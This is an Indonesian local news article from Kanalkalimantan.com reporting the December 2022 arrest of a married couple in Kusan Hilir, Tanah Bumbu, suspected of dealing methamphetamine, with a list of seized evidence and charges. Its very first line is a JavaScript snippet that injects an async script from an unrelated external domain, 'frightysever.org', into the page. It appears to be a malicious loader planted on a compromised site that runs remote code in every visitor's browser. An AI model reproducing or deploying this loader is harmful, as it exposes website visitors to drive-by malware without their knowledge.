(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Pasutri Diduga Jual Sabu di Kusan Hilir Dibekuk Polisi


KANALKALIMANTAN.COM, BATULICIN – Unit Reskrim Polsek Kusan Hilir membekuk dua orang diduga penjual barang haram di sebuah rumah di RT 04 Desa Betung, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu (Tanbu), Jumat (2/12/2022).

Penggeledahan tersebut dilakukan sekitar pukul 14.30 Wita, pihak kepolisian mengamankan sepasang suami isteri berinisial AS dan M yang diduga menyimpan dan mengedarkan Narkotika jenis sabu.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP Saryanto membenarkan peristiwa pengungkapan kasus sabu tersebut.

Kronologi bermula dari adanya informasi masyarakat bahwa di tempat kejadian tersebut sering terjadi transaksi jual beli Narkotika barang terlarang jenis sabu.

 

 

Baca juga: Viral Potongan Video Haul Sekumpul Bikin Masyarakat Terkecoh, Begini Imbauan Polres Banjar

“Dari informasi tersebut, kemudian ditindak lanjuti oleh anggota Polsek Kusan Hilir, hingga akhirnya langsung melakukan penggeledahan di rumah tersangka,” jelasnya, Sabtu (3/12/2022).

Barang bukti Narkotika yang diamankan polisi diantaranya 1 bungkus berisi 8 paket butiran kristal, diduga Narkotika jenis sabu seberat 2,16 gram, 1 bungkus berisi 3 paket butiran kristal diduga Narkotika jenis sabu seberat 1,05 gram, 1 bungkus berisi 2 paket butiran kristal diduga Narkotika jenis sabu-sabu seberat 0,90 gram, 1 bungkus sabu seberat 3,37 gram dan 1 bungkus berisi sabu seberat 0,24 gram.

Selain itu barang bukti pendukung lainnya turut diamankan seperti 1 bungkus rokok merk RMK BOLD yang berisi 7 batang rokok dan uang tunai sebesar Rp 32 ribu, 1 bungkus yang berisikan plastik klip, 1 buah kotak laci kecil motif bungga warna pink, 1 buah dompet kecil terbuat dari kulit warna pink dan krim, 1 buah tas perempuan terbuat dari kulit warna coklat bertuliskan SAOINI, Uang Tunai sebesar Rp 400 ribu, 1 unit Handphone merk Vivo warna ungu, 1 unit Handphone merk Vivo warna abu-abu, dan 1 buah sedotan terbuat dari plastik bening yang berbentuk runcing.

“Guna proses hukum lebih lanjut, saat ini kedua tersangka beserta barang bukti telah diamankan ke Polsek Kusan Hilir,” pungkas Kasi Humas Polres Tanbu.

Baca juga: Syahwat Setelah Nonton Film Dewasa, Lelaki 33 Tahun di Beruntung Baru Cabuli Anak Tiri

Perbuatan kedua tersangka itu terancam pidana sebagaimana dimaksud didalam Pasal 114 Ayat (1) Sub Pasal 112 Ayat (1) dan (2) UU No. 35 tahun 2009 tentang Narkotika. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

10 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

13 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

13 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

15 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

17 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

18 jam ago

This website uses cookies.